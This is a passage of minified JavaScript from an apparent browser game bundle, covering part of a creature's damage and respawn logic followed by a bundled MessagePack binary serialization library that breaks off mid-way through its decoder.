this.dirPlus = o.lerp(0, this.targetAngle, Math.max(0, h))))
}
,
this.startAnim = function() {
this.animTime = this.animSpeed = 600,
this.targetAngle = .8 * Math.PI,
h = 0,
u = 0
}
,
this.changeHealth = function(e, t, i) {
if (this.active && (this.health += e,
i && (this.hitScare && !o.randInt(0, this.hitScare) ? (this.runFrom = i,
this.waitCount = 0,
this.moveCount = 2e3) : this.hostile && this.chargePlayer && i.isPlayer ? (this.chargeTarget = i,
this.waitCount = 0,
this.moveCount = 8e3) : this.dontRun || (this.runFrom = i,
this.waitCount = 0,
this.moveCount = 2e3)),
e < 0 && this.hitRange && o.randInt(0, 1) && (this.hitWait = 500),
t && t.canSee(this) && e < 0 && c.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
this.health <= 0 && (this.spawnDelay ? (this.spawnCounter = this.spawnDelay,
this.x = -1e6,
this.y = -1e6) : (this.x = this.startX || o.randInt(0, a.mapScale),
this.y = this.startY || o.randInt(0, a.mapScale)),
this.health = this.maxHealth,
this.runFrom = null,
t && (r(t, this.killScore),
this.drop))))
for (var n = 0; n < this.drop.length; )
t.addResource(a.resourceTypes.indexOf(this.drop[n]), this.drop[n + 1]),
n += 2
}
}
}
, function(e, t, i) {
"use strict";
i.r(t);
var n, s, o, a = 4294967295;
function r(e, t, i) {
var n = Math.floor(i / 4294967296)
, s = i;
e.setUint32(t, n),
e.setUint32(t + 4, s)
}
function c(e, t) {
return 4294967296 * e.getInt32(t) + e.getUint32(t + 4)
}
var l = ("undefined" == typeof process || "never" !== (null === (n = null === process || void 0 === process ? void 0 : process.env) || void 0 === n ? void 0 : n.TEXT_ENCODING)) && "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder;
function h(e) {
for (var t = e.length, i = 0, n = 0; n < t; ) {
var s = e.charCodeAt(n++);
if (0 != (4294967168 & s))
if (0 == (4294965248 & s))
i += 2;
else {
if (s >= 55296 && s <= 56319 && n < t) {
var o = e.charCodeAt(n);
56320 == (64512 & o) && (++n,
s = ((1023 & s) << 10) + (1023 & o) + 65536)
}
i += 0 == (4294901760 & s) ? 3 : 4
}
else
i++
}
return i
}
var u = l ? new TextEncoder : void 0
, d = l ? "undefined" != typeof process && "force" !== (null === (s = null === process || void 0 === process ? void 0 : process.env) || void 0 === s ? void 0 : s.TEXT_ENCODING) ? 200 : 0 : a
, f = (null == u ? void 0 : u.encodeInto) ? function(e, t, i) {
u.encodeInto(e, t.subarray(i))
}
: function(e, t, i) {
t.set(u.encode(e), i)
}
;
function p(e, t, i) {
for (var n = t, s = n + i, o = [], a = ""; n < s; ) {
var r = e[n++];
if (0 == (128 & r))
o.push(r);
else if (192 == (224 & r)) {
var c = 63 & e[n++];
o.push((31 & r) << 6 | c)
} else if (224 == (240 & r)) {
c = 63 & e[n++];
var l = 63 & e[n++];
o.push((31 & r) << 12 | c << 6 | l)
} else if (240 == (248 & r)) {
var h = (7 & r) << 18 | (c = 63 & e[n++]) << 12 | (l = 63 & e[n++]) << 6 | 63 & e[n++];
h > 65535 && (h -= 65536,
o.push(h >>> 10 & 1023 | 55296),
h = 56320 | 1023 & h),
o.push(h)
} else
o.push(r);
o.length >= 4096 && (a += String.fromCharCode.apply(String, o),
o.length = 0)
}
return o.length > 0 && (a += String.fromCharCode.apply(String, o)),
a
}
var g = l ? new TextDecoder : null
, m = l ? "undefined" != typeof process && "force" !== (null === (o = null === process || void 0 === process ? void 0 : process.env) || void 0 === o ? void 0 : o.TEXT_DECODER) ? 200 : 0 : a
, y = function(e, t) {
this.type = e,
this.data = t
}
, k = function() {
var e = function(t, i) {
return (e = Object.setPrototypeOf || {
__proto__: []
}instanceof Array && function(e, t) {
e.__proto__ = t
}
|| function(e, t) {
for (var i in t)
Object.prototype.hasOwnProperty.call(t, i) && (e[i] = t[i])
}
)(t, i)
};
return function(t, i) {
if ("function" != typeof i && null !== i)
throw new TypeError("Class extends value " + String(i) + " is not a constructor or null");
function n() {
this.constructor = t
}
e(t, i),
t.prototype = null === i ? Object.create(i) : (n.prototype = i.prototype,
new n)
}
}()
, w = function(e) {
function t(i) {
var n = e.call(this, i) || this
, s = Object.create(t.prototype);
return Object.setPrototypeOf(n, s),
Object.defineProperty(n, "name", {
configurable: !0,
enumerable: !1,
value: t.name
}),
n
}
return k(t, e),
t
}(Error);
function v(e) {
var t, i = e.sec, n = e.nsec;
if (i >= 0 && n >= 0 && i <= 17179869183) {
if (0 === n && i <= 4294967295) {
var s = new Uint8Array(4);
return (t = new DataView(s.buffer)).setUint32(0, i),
s
}
var o = i / 4294967296
, a = 4294967295 & i;
return s = new Uint8Array(8),
(t = new DataView(s.buffer)).setUint32(0, n << 2 | 3 & o),
t.setUint32(4, a),
s
}
return s = new Uint8Array(12),
(t = new DataView(s.buffer)).setUint32(0, n),
r(t, 4, i),
s
}
function b(e) {
var t = e.getTime()
, i = Math.floor(t / 1e3)
, n = 1e6 * (t - 1e3 * i)
, s = Math.floor(n / 1e9);
return {
sec: i + s,
nsec: n - 1e9 * s
}
}
function x(e) {
return e instanceof Date ? v(b(e)) : null
}
function S(e) {
var t = new DataView(e.buffer,e.byteOffset,e.byteLength);
switch (e.byteLength) {
case 4:
return {
sec: t.getUint32(0),
nsec: 0
};
case 8:
var i = t.getUint32(0);
return {
sec: 4294967296 * (3 & i) + t.getUint32(4),
nsec: i >>> 2
};
case 12:
return {
sec: c(t, 4),
nsec: t.getUint32(0)
};
default:
throw new w("Unrecognized data size for timestamp (expected 4, 8, or 12): ".concat(e.length))
}
}
function I(e) {
var t = S(e);
return new Date(1e3 * t.sec + t.nsec / 1e6)
}
var T = {
type: -1,
encode: x,
decode: I
}
, M = function() {
function e() {
this.builtInEncoders = [],
this.builtInDecoders = [],
this.encoders = [],
this.decoders = [],
this.register(T)
}
return e.prototype.register = function(e) {
var t = e.type
, i = e.encode
, n = e.decode;
if (t >= 0)
this.encoders[t] = i,
this.decoders[t] = n;
else {
var s = 1 + t;
this.builtInEncoders[s] = i,
this.builtInDecoders[s] = n
}
}
,
e.prototype.tryToEncode = function(e, t) {
for (var i = 0; i < this.builtInEncoders.length; i++)
if (null != (n = this.builtInEncoders[i]) && null != (s = n(e, t)))
return new y(-1 - i,s);
for (i = 0; i < this.encoders.length; i++) {
var n, s;
if (null != (n = this.encoders[i]) && null != (s = n(e, t)))
return new y(i,s)
}
return e instanceof y ? e : null
}
,
e.prototype.decode = function(e, t, i) {
var n = t < 0 ? this.builtInDecoders[-1 - t] : this.decoders[t];
return n ? n(e, t, i) : new y(t,e)
}
,
e.defaultCodec = new e,
e
}();
function C(e) {
return e instanceof Uint8Array ? e : ArrayBuffer.isView(e) ? new Uint8Array(e.buffer,e.byteOffset,e.byteLength) : e instanceof ArrayBuffer ? new Uint8Array(e) : Uint8Array.from(e)
}
var P = function() {
function e(e, t, i, n, s, o, a, r) {
void 0 === e && (e = M.defaultCodec),
void 0 === t && (t = void 0),
void 0 === i && (i = 100),
void 0 === n && (n = 2048),
void 0 === s && (s = !1),
void 0 === o && (o = !1),
void 0 === a && (a = !1),
void 0 === r && (r = !1),
this.extensionCodec = e,
this.context = t,
this.maxDepth = i,
this.initialBufferSize = n,
this.sortKeys = s,
this.forceFloat32 = o,
this.ignoreUndefined = a,
this.forceIntegerToFloat = r,
this.pos = 0,
this.view = new DataView(new ArrayBuffer(this.initialBufferSize)),
this.bytes = new Uint8Array(this.view.buffer)
}
return e.prototype.reinitializeState = function() {
this.pos = 0
}
,
e.prototype.encodeSharedRef = function(e) {
return this.reinitializeState(),
this.doEncode(e, 1),
this.bytes.subarray(0, this.pos)
}
,
e.prototype.encode = function(e) {
return this.reinitializeState(),
this.doEncode(e, 1),
this.bytes.slice(0, this.pos)
}
,
e.prototype.doEncode = function(e, t) {
if (t > this.maxDepth)
throw new Error("Too deep objects in depth ".concat(t));
null == e ? this.encodeNil() : "boolean" == typeof e ? this.encodeBoolean(e) : "number" == typeof e ? this.encodeNumber(e) : "string" == typeof e ? this.encodeString(e) : this.encodeObject(e, t)
}
,
e.prototype.ensureBufferSizeToWrite = function(e) {
var t = this.pos + e;
this.view.byteLength < t && this.resizeBuffer(2 * t)
}
,
e.prototype.resizeBuffer = function(e) {
var t = new ArrayBuffer(e)
, i = new Uint8Array(t)
, n = new DataView(t);
i.set(this.bytes),
this.view = n,
this.bytes = i
}
,
e.prototype.encodeNil = function() {
this.writeU8(192)
}
,
e.prototype.encodeBoolean = function(e) {
!1 === e ? this.writeU8(194) : this.writeU8(195)
}
,
e.prototype.encodeNumber = function(e) {
Number.isSafeInteger(e) && !this.forceIntegerToFloat ? e >= 0 ? e < 128 ? this.writeU8(e) : e < 256 ? (this.writeU8(204),
this.writeU8(e)) : e < 65536 ? (this.writeU8(205),
this.writeU16(e)) : e < 4294967296 ? (this.writeU8(206),
this.writeU32(e)) : (this.writeU8(207),
this.writeU64(e)) : e >= -32 ? this.writeU8(224 | e + 32) : e >= -128 ? (this.writeU8(208),
this.writeI8(e)) : e >= -32768 ? (this.writeU8(209),
this.writeI16(e)) : e >= -2147483648 ? (this.writeU8(210),
this.writeI32(e)) : (this.writeU8(211),
this.writeI64(e)) : this.forceFloat32 ? (this.writeU8(202),
this.writeF32(e)) : (this.writeU8(203),
this.writeF64(e))
}
,
e.prototype.writeStringHeader = function(e) {
if (e < 32)
this.writeU8(160 + e);
else if (e < 256)
this.writeU8(217),
this.writeU8(e);
else if (e < 65536)
this.writeU8(218),
this.writeU16(e);
else {
if (!(e < 4294967296))
throw new Error("Too long string: ".concat(e, " bytes in UTF-8"));
this.writeU8(219),
this.writeU32(e)
}
}
,
e.prototype.encodeString = function(e) {
if (e.length > d) {
var t = h(e);
this.ensureBufferSizeToWrite(5 + t),
this.writeStringHeader(t),
f(e, this.bytes, this.pos),
this.pos += t
} else
t = h(e),
this.ensureBufferSizeToWrite(5 + t),
this.writeStringHeader(t),
function(e, t, i) {
for (var n = e.length, s = i, o = 0; o < n; ) {
var a = e.charCodeAt(o++);
if (0 != (4294967168 & a)) {
if (0 == (4294965248 & a))
t[s++] = a >> 6 & 31 | 192;
else {
if (a >= 55296 && a <= 56319 && o < n) {
var r = e.charCodeAt(o);
56320 == (64512 & r) && (++o,
a = ((1023 & a) << 10) + (1023 & r) + 65536)
}
0 == (4294901760 & a) ? (t[s++] = a >> 12 & 15 | 224,
t[s++] = a >> 6 & 63 | 128) : (t[s++] = a >> 18 & 7 | 240,
t[s++] = a >> 12 & 63 | 128,
t[s++] = a >> 6 & 63 | 128)
}
t[s++] = 63 & a | 128
} else
t[s++] = a
}
}(e, this.bytes, this.pos),
this.pos += t
}
,
e.prototype.encodeObject = function(e, t) {
var i = this.extensionCodec.tryToEncode(e, this.context);
if (null != i)
this.encodeExtension(i);
else if (Array.isArray(e))
this.encodeArray(e, t);
else if (ArrayBuffer.isView(e))
this.encodeBinary(e);
else {
if ("object" != typeof e)
throw new Error("Unrecognized object: ".concat(Object.prototype.toString.apply(e)));
this.encodeMap(e, t)
}
}
,
e.prototype.encodeBinary = function(e) {
var t = e.byteLength;
if (t < 256)
this.writeU8(196),
this.writeU8(t);
else if (t < 65536)
this.writeU8(197),
this.writeU16(t);
else {
if (!(t < 4294967296))
throw new Error("Too large binary: ".concat(t));
this.writeU8(198),
this.writeU32(t)
}
var i = C(e);
this.writeU8a(i)
}
,
e.prototype.encodeArray = function(e, t) {
var i = e.length;
if (i < 16)
this.writeU8(144 + i);
else if (i < 65536)
this.writeU8(220),
this.writeU16(i);
else {
if (!(i < 4294967296))
throw new Error("Too large array: ".concat(i));
this.writeU8(221),
this.writeU32(i)
}
for (var n = 0, s = e; n < s.length; n++) {
var o = s[n];
this.doEncode(o, t + 1)
}
}
,
e.prototype.countWithoutUndefined = function(e, t) {
for (var i = 0, n = 0, s = t; n < s.length; n++)
void 0 !== e[s[n]] && i++;
return i
}
,
e.prototype.encodeMap = function(e, t) {
var i = Object.keys(e);
this.sortKeys && i.sort();
var n = this.ignoreUndefined ? this.countWithoutUndefined(e, i) : i.length;
if (n < 16)
this.writeU8(128 + n);
else if (n < 65536)
this.writeU8(222),
this.writeU16(n);
else {
if (!(n < 4294967296))
throw new Error("Too large map object: ".concat(n));
this.writeU8(223),
this.writeU32(n)
}
for (var s = 0, o = i; s < o.length; s++) {
var a = o[s]
, r = e[a];
this.ignoreUndefined && void 0 === r || (this.encodeString(a),
this.doEncode(r, t + 1))
}
}
,
e.prototype.encodeExtension = function(e) {
var t = e.data.length;
if (1 === t)
this.writeU8(212);
else if (2 === t)
this.writeU8(213);
else if (4 === t)
this.writeU8(214);
else if (8 === t)
this.writeU8(215);
else if (16 === t)
this.writeU8(216);
else if (t < 256)
this.writeU8(199),
this.writeU8(t);
else if (t < 65536)
this.writeU8(200),
this.writeU16(t);
else {
if (!(t < 4294967296))
throw new Error("Too large extension object: ".concat(t));
this.writeU8(201),
this.writeU32(t)
}
this.writeI8(e.type),
this.writeU8a(e.data)
}
,
e.prototype.writeU8 = function(e) {
this.ensureBufferSizeToWrite(1),
this.view.setUint8(this.pos, e),
this.pos++
}
,
e.prototype.writeU8a = function(e) {
var t = e.length;
this.ensureBufferSizeToWrite(t),
this.bytes.set(e, this.pos),
this.pos += t
}
,
e.prototype.writeI8 = function(e) {
this.ensureBufferSizeToWrite(1),
this.view.setInt8(this.pos, e),
this.pos++
}
,
e.prototype.writeU16 = function(e) {
this.ensureBufferSizeToWrite(2),
this.view.setUint16(this.pos, e),
this.pos += 2
}
,
e.prototype.writeI16 = function(e) {
this.ensureBufferSizeToWrite(2),
this.view.setInt16(this.pos, e),
this.pos += 2
}
,
e.prototype.writeU32 = function(e) {
this.ensureBufferSizeToWrite(4),
this.view.setUint32(this.pos, e),
this.pos += 4
}
,
e.prototype.writeI32 = function(e) {
this.ensureBufferSizeToWrite(4),
this.view.setInt32(this.pos, e),
this.pos += 4
}
,
e.prototype.writeF32 = function(e) {
this.ensureBufferSizeToWrite(4),
this.view.setFloat32(this.pos, e),
this.pos += 4
}
,
e.prototype.writeF64 = function(e) {
this.ensureBufferSizeToWrite(8),
this.view.setFloat64(this.pos, e),
this.pos += 8
}
,
e.prototype.writeU64 = function(e) {
this.ensureBufferSizeToWrite(8),
function(e, t, i) {
var n = i / 4294967296
, s = i;
e.setUint32(t, n),
e.setUint32(t + 4, s)
}(this.view, this.pos, e),
this.pos += 8
}
,
e.prototype.writeI64 = function(e) {
this.ensureBufferSizeToWrite(8),
r(this.view, this.pos, e),
this.pos += 8
}
,
e
}()
, E = {};
function O(e, t) {
return void 0 === t && (t = E),
new P(t.extensionCodec,t.context,t.maxDepth,t.initialBufferSize,t.sortKeys,t.forceFloat32,t.ignoreUndefined,t.forceIntegerToFloat).encodeSharedRef(e)
}
function B(e) {
return "".concat(e < 0 ? "-" : "", "0x").concat(Math.abs(e).toString(16).padStart(2, "0"))
}
var j = function() {
function e(e, t) {
void 0 === e && (e = 16),
void 0 === t && (t = 16),
this.maxKeyLength = e,
this.maxLengthPerKey = t,
this.hit = 0,
this.miss = 0,
this.caches = [];
for (var i = 0; i < this.maxKeyLength; i++)
this.caches.push([])
}
return e.prototype.canBeCached = function(e) {
return e > 0 && e <= this.maxKeyLength
}
,
e.prototype.find = function(e, t, i) {
e: for (var n = 0, s = this.caches[i - 1]; n < s.length; n++) {
for (var o = s[n], a = o.bytes, r = 0; r < i; r++)
if (a[r] !== e[t + r])
continue e;
return o.str
}
return null
}
,
e.prototype.store = function(e, t) {
var i = this.caches[e.length - 1]
, n = {
bytes: e,
str: t
};
i.length >= this.maxLengthPerKey ? i[Math.random() * i.length | 0] = n : i.push(n)
}
,
e.prototype.decode = function(e, t, i) {
var n = this.find(e, t, i);
if (null != n)
return this.hit++,
n;
this.miss++;
var s = p(e, t, i)
, o = Uint8Array.prototype.slice.call(e, t, t + i);
return this.store(o, s),
s
}
,
e
}()
, A = function(e, t) {
var i, n, s, o, a = {
label: 0,
sent: function() {
if (1 & s[0])
throw s[1];
return s[1]
},
trys: [],
ops: []
};
return o = {
next: r(0),
throw: r(1),
return: r(2)
},
"function" == typeof Symbol && (o[Symbol.iterator] = function() {
return this
}
),
o;
function r(o) {
return function(r) {
return function(o) {
if (i)
throw new TypeError("Generator is already executing.");
for (; a; )
try {
if (i = 1,
n && (s = 2 & o[0] ? n.return : o[0] ? n.throw || ((s = n.return) && s.call(n),
0) : n.next) && !(s = s.call(n, o[1])).done)
return s;
switch (n = 0,
s && (o = [2 & o[0], s.value]),
o[0]) {
case 0:
case 1:
s = o;
break;
case 4:
return a.label++,
{
value: o[1],
done: !1
};
case 5:
a.label++,
n = o[1],
o = [0];
continue;
case 7:
o = a.ops.pop(),
a.trys.pop();
continue;
default:
if (!(s = (s = a.trys).length > 0 && s[s.length - 1]) && (6 === o[0] || 2 === o[0])) {
a = 0;
continue
}
if (3 === o[0] && (!s || o[1] > s[0] && o[1] < s[3])) {
a.label = o[1];
break
}
if (6 === o[0] && a.label < s[1]) {
a.label = s[1],
s = o;
break
}
if (s && a.label < s[2]) {
a.label = s[2],
a.ops.push(o);
break
}
s[2] && a.ops.pop(),
a.trys.pop();
continue
}
o = t.call(e, a)
} catch (e) {
o = [6, e],
n = 0
} finally {
i = s = 0
}
if (5 & o[0])
throw o[1];
return {
value: o[0] ? o[1] : void 0,
done: !0
}
}([o, r])
}
}
}
, D = function(e) {
if (!Symbol.asyncIterator)
throw new TypeError("Symbol.asyncIterator is not defined.");
var t, i = e[Symbol.asyncIterator];
return i ? i.call(e) : (e = "function" == typeof __values ? __values(e) : e[Symbol.iterator](),
t = {},
n("next"),
n("throw"),
n("return"),
t[Symbol.asyncIterator] = function() {
return this
}
,
t);
function n(i) {
t[i] = e[i] && function(t) {
return new Promise((function(n, s) {
!function(e, t, i, n) {
Promise.resolve(n).then((function(t) {
e({
value: t,
done: i
})
}
), t)
}(n, s, (t = e[i](t)).done, t.value)
}
))
}
}
}
, U = function(e) {
return this instanceof U ? (this.v = e,
this) : new U(e)
}
, R = function(e, t, i) {
if (!Symbol.asyncIterator)
throw new TypeError("Symbol.asyncIterator is not defined.");
var n, s = i.apply(e, t || []), o = [];
return n = {},
a("next"),
a("throw"),
a("return"),
n[Symbol.asyncIterator] = function() {
return this
}
,
n;
function a(e) {
s[e] && (n[e] = function(t) {
return new Promise((function(i, n) {
o.push([e, t, i, n]) > 1 || r(e, t)
}
))
}
)
}
function r(e, t) {
try {
!function(e) {
e.value instanceof U ? Promise.resolve(e.value.v).then(c, l) : h(o[0][2], e)
}(s[e](t))
} catch (e) {
h(o[0][3], e)
}
}
function c(e) {
r("next", e)
}
function l(e) {
r("throw", e)
}
function h(e, t) {
e(t),
o.shift(),
o.length && r(o[0][0], o[0][1])
}
}
, L = function(e) {
var t = typeof e;
return "string" === t || "number" === t
}
, z = new DataView(new ArrayBuffer(0))
, _ = new Uint8Array(z.buffer)
, F = function() {
try {
z.getInt8(0)
} catch (e) {
return e.constructor
}
throw new Error("never reached")
}()
, H = new F("Insufficient data")
, V = new j
, q = function() {
function e(e, t, i, n, s, o, r, c) {
void 0 === e && (e = M.defaultCodec),
void 0 === t && (t = void 0),
void 0 === i && (i = a),
void 0 === n && (n = a),
void 0 === s && (s = a),
void 0 === o && (o = a),
void 0 === r && (r = a),
void 0 === c && (c = V),
this.extensionCodec = e,
this.context = t,
this.maxStrLength = i,
this.maxBinLength = n,
this.maxArrayLength = s,
this.maxMapLength = o,
this.maxExtLength = r,
this.keyDecoder = c,
this.totalPos = 0,
this.pos = 0,
this.view = z,
this.bytes = _,
this.headByte = -1,
this.stack = []
}
return e.prototype.reinitializeState = function() {
this.totalPos = 0,
this.headByte = -1,
this.stack.length = 0
}
,
e.prototype.setBuffer = function(e) {
this.bytes = C(e),
this.view = function(e) {
if (e instanceof ArrayBuffer)
return new DataView(e);
var t = C(e);
return new DataView(t.buffer,t.byteOffset,t.byteLength)
}(this.bytes),
this.pos = 0
}
,
e.prototype.appendBuffer = function(e) {
if (-1 !== this.headByte || this.hasRemaining(1)) {
var t = this.bytes.subarray(this.pos)
, i = C(e)
, n = new Uint8Array(t.length + i.length);
n.set(t),
n.set(i, t.length),
this.setBuffer(n)
} else
this.setBuffer(e)
}
,
e.prototype.hasRemaining = function(e) {
return this.view.byteLength - this.pos >= e
}
,
e.prototype.createExtraByteError = function(e) {
var t = this.view
, i = this.pos;
return new RangeError("Extra ".concat(t.byteLength - i, " of ").concat(t.byteLength, " byte(s) found at buffer[").concat(e, "]"))
}
,
e.prototype.decode = function(e) {
this.reinitializeState(),
this.setBuffer(e);
var t = this.doDecodeSync();
if (this.hasRemaining(1))
throw this.createExtraByteError(this.pos);
return t
}
,
e.prototype.decodeMulti = function(e) {
return A(this, (function(t) {
switch (t.label) {
case 0:
this.reinitializeState(),
this.setBuffer(e),
t.label = 1;
case 1:
return this.hasRemaining(1) ? [4, this.doDecodeSync()] : [3, 3];
case 2:
return t.sent(),
[3, 1];
case 3:
return [2]
}
}
))
}
,
e.prototype.decodeAsync = function(e) {
var t, i, n, s;
return function(e, t, i, n) {
return new (i || (i = Promise))((function(s, o) {
function a(e) {
try {
c(n.next(e))
} catch (e) {
o(e)
}
}
function r(e) {
try {
c(n.throw(e))
} catch (e) {
o(e)
}
}
function c(e) {
e.done ? s(e.value) : function(e) {
return e instanceof i ? e : new i((function(t) {
t(e)
}
))
}(e.value).then(a, r)
}
c((n = n.apply(e, t || [])).next())
}
))
}(this, void 0, void 0, (function() {
var o, a, r, c, l, h, u, d;
return A(this, (function(f) {
switch (f.label) {
case 0:
o = !1,
f.label = 1;
case 1:
f.trys.push([1, 6, 7, 12]),
t = D(e),
f.label = 2;
case 2:
return [4, t.next()];
case 3:
if ((i = f.sent()).done)
return [3, 5];
if (r = i.value,
o)
throw this.createExtraByteError(this.totalPos);
this.appendBuffer(r);
try {
a = this.doDecodeSync(),
o = !0
} catch (e) {
if (!(e instanceof F))
throw e
}
this.totalPos += this.pos,
f.label = 4;
case 4:
return [3, 2];
case 5:
return [3, 12];
case 6:
return c = f.sent(),
n = {
error: c
},
[3, 12];
case 7:
return f.trys.push([7, , 10, 11]),
i && !i.done && (s = t.return) ? [4, s.call(t)] : [3, 9];
case 8:
f.sent(),
f.label = 9;
case 9:
return [3, 11];
case 10:
if (n)
throw n.error;
return [7];
case 11:
return [7];
case 12:
if (o) {
if (this.hasRemaining(1))
throw this.createExtraByteError(this.totalPos);
return [2, a]
}
throw h = (l = this).headByte,
u = l.pos,
d = l.totalPos,
new RangeError("Insufficient data in parsing ".concat(B(h), " at ").concat(d, " (").concat(u, " in the current buffer)"))
}
}
))
}
))
}
,
e.prototype.decodeArrayStream = function(e) {
return this.decodeMultiAsync(e, !0)
}
,
e.prototype.decodeStream = function(e) {
return this.decodeMultiAsync(e, !1)
}
,
e.prototype.decodeMultiAsync = function(e, t) {
return R(this, arguments, (function() {
var i, n, s, o, a, r, c, l, h;
return A(this, (function(u) {
switch (u.label) {
case 0:
i = t,
n = -1,
u.label = 1;
case 1:
u.trys.push([1, 13, 14, 19]),
s = D(e),
u.label = 2;
case 2:
return [4, U(s.next())];
case 3:
if ((o = u.sent()).done)
return [3, 12];
if (a = o.value,
t && 0 === n)
throw this.createExtraByteError(this.totalPos);
this.appendBuffer(a),
i && (n = this.readArraySize(),
i = !1,
this.complete()),
u.label = 4;
case 4:
u.trys.push([4, 9, , 10]),
u.label = 5;
case 5:
return [4, U(this.doDecodeSync())];
case 6:
return [4, u.sent()];
case 7:
return u.sent(),
0 == --n ? [3, 8] : [3, 5];
case 8:
return [3, 10];
case 9:
if (!((r = u.sent())instanceof F))
throw r;
return [3, 10];
case 10:
this.totalPos += this.pos,
u.label = 11;
case 11:
return [3, 2];
case 12:
return [3, 19];
case 13:
return c = u.sent(),
l = {
error: c
},
[3, 19];
case 14:
return u.trys.push([14, , 17, 18]),
o && !o.done && (h = s.return) ? [4, U(h.call(s))] : [3, 16];
case 15:
u.sent(),
u.label = 16;
case 16:
return [3, 18];
case 17:
if (l)
throw l.error;
return [7];
case 18:
return [7];
case 19:
return [2]
}
}
))
}
))
}
,
e.prototype.doDecodeSync = function() {
e: for (; ; ) {
var e = this.readHeadByte()
, t = void 0;
if (e >= 224)
t = e - 256;
else if (e < 192)
if (e < 128)
t = e;
else if (e < 144) {
if (0 != (n = e - 128)) {
this.pushMapState(n),
this.complete();
continue e
}
t = {}
} else if (e < 160) {
if (0 != (n = e - 144)) {
this.pushArrayState(n),
this.complete();
continue e
}
t = []
} else {
var i = e - 160;
t = this.decodeUtf8String(i, 0)
}
else if (192 === e)
t = null;
else if (194 === e)
t = !1;
else if (195 === e)
t = !0;
else if (202 === e)
t = this.readF32();
else if (203 === e)
t = this.readF64();
else if (204 === e)
t = this.readU8();
else if (205 === e)
t = this.readU16();
else if (206 === e)
t = this.readU32();
else if (207 === e)
t = this.readU64();
else if (208 === e)
t = this.readI8();
else if (209 === e)
t = this.readI16();
else if (210 === e)
t = this.readI32();
else if (211 === e)
t = this.readI64();
else if (217 === e)
i = this.lookU8(),
t = this.decodeUtf8String(i, 1);
else if (218 === e)
i = this.lookU16(),
t = this.decodeUtf8String(i, 2);
else if (219 === e)
i = this.lookU32(),
t = this.decodeUtf8String(i, 4);
else if (220 === e) {
if (0 !== (n = this.readU16())) {
this.pushArrayState(n),
this.complete();
continue e
}
t = []
} else if (221 === e) {
if (0 !== (n = this.readU32())) {
this.pushArrayState(n),
this.complete();
continue e
}
t = []
} else if (222 === e) {
if (0 !== (n = this.readU16())) {
this.pushMapState(n),
this.complete();
continue e
}
t = {}
} else if (223 === e) {
if (0 !== (n = this.readU32())) {
this.pushMapState(n),
this.complete();
continue e
}
t = {}
} else if (196 === e) {
var n = this.lookU8();
t = this.decodeBinary(n, 1)
} else if (197 === e)
n = this.lookU16(),
t = this.decodeBinary(n, 2);
else if (198 === e)
n = this.lookU32(),
t = this.decodeBinary(n, 4);
else if (212 === e)
t = this.decodeExtension(1, 0);
else if (213 === e)
t = this.decodeExtension(2, 0);
else if (214 === e)
t = this.decodeExtension(4, 0);
else if (215 === e)
t = this.decodeExtension(8, 0);
else if (216 === e)
t = this.decodeExtension(16, 0);
else if (199 === e)
n = this.lookU8(),
t = this.decodeExtension(n, 1);
else if (200 === e)
n = this.lookU16(),
t = this.decodeExtension(n, 2);
else {
if (201 !== e)
throw new w("Unrecognized type byte: ".concat(B(e)));
n = this.lookU32(),
t = this.decodeExtension(n, 4)
}
this.complete();
for (var s = this.stack; s.length > 0; ) {
var o = s[s.length - 1];
if (0 === o.type) {
if (o.array[o.position] = t,
o.position++,
o.position !== o.size)
continue e;
s.pop(),
t = o.array
} else {
if (1 === o.type) {
if (!L(t))
throw new w("The type of key must be string or number but " + typeof t);
if ("__proto__" === t)
throw new w("The key __proto__ is not allowed");
o.key = t,
o.type = 2;
continue e
}
if (o.map[o.key] = t,
o.readCount++,
o.readCount !== o.size) {
o.key = null,
o.type = 1;
continue e
}
s.pop(),
t = o.map
}
}
return t
}
}
,
e.prototype.readHeadByte = function() {
return -1 === this.headByte && (this.headByte = this.readU8()),
this.headByte
}
,
e.prototype.complete = function() {
this.headByte = -1
}
,
e.prototype.readArraySize = function() {
var e = this.readHeadByte();
switch (e) {
case 220:
return this.readU16();
case 221:
return this.readU32();
default:
if (e < 160)
return e - 144;
throw new w("Unrecognized array type byte: ".concat(B(e)))
}
}
,
e.prototype.pushMapState = function(e) {
if (e > this.maxMapLength)
throw new w("Max length exceeded: map length (".concat(e, ") > maxMapLengthLength (").concat(this.maxMapLength, ")"));
this.stack.push({
type: 1,
size: e,
key: null,
readCount: 0,
map: {}
})
}
,
e.prototype.pushArrayState = function(e) {
if (e > this.maxArrayLength)
throw new w("Max length exceeded: array length (".concat(e, ") > maxArrayLength (").concat(this.maxArrayLength, ")"));
this.stack.push({
type: 0,
size: e,
array: new Array(e),
position: 0
})
}
,
e.prototype.decodeUtf8String = function(e, t) {
var i;
if (e > this.maxStrLength)
throw new w("Max length exceeded: UTF-8 byte length (".concat(e, ") > maxStrLength (").concat(this.maxStrLength, ")"));
if (this.bytes.byteLength < this.pos + t + e)
throw H;
var n, s = this.pos + t;
return n = this.stateIsMapKey() && (null === (i = this.keyDecoder) || void 0 === i ? void 0 : i.canBeCached(e)) ? this.keyDecoder.decode(this.bytes, s, e) : e > m ? function(e, t, i) {
var n = e.subarray(t, t + i);
return g.decode(n)
}(this.bytes, s, e) : p(this.bytes, s, e),
this.pos += t + e,
n
}
,
e.prototype.stateIsMapKey = function() {
return this.stack.length > 0 && 1 === this.stack[this.stack.length - 1].type
}
,
e.prototype.decodeBinary = function(e, t) {
if (e > this.maxBinLength)
throw new w("Max length exceeded: bin length (".concat(e, ") > maxBinLength (").concat(this.maxBinLength, ")"));
if (!this.hasRemaining(e + t))
throw H;
var i = this.pos + t
, n = this.bytes.subarray(i, i + e);
return this.pos += t + e,
n
}
,
e.prototype.decodeExtension = function(e, t) {
if (e > this.maxExtLength)
throw new w("Max length exceeded: ext length (".concat(e, ") > maxExtLength (").concat(this.maxExtLength, ")"));
var i = this.view.getInt8(this.pos + t)
, n = this.decodeBinary(e, t + 1);
return this.extensionCodec.decode(n, i, this.context)
}
,
e.prototype.lookU8 = function() {
return this.view.getUint8(this.pos)
}
,
e.prototype.lookU16 = function() {
return this.view.getUint16(this.pos)
}
,
e.prototype.lookU32 = function() {
return this.view.getUint32(this.pos)
}
,
e.prototype.readU8 = function() {
var e = this.view.getUint8(this.pos);
return this.pos++,
e
}
,
e.prototype.readI8 = function() {
var e = this.view.getInt8(this.pos);
return this.pos++,
e
}
,
e.prototype.readU16 = function() {
var e = this.view.getUint16(this.pos);
return this.pos += 2,
e
}
,
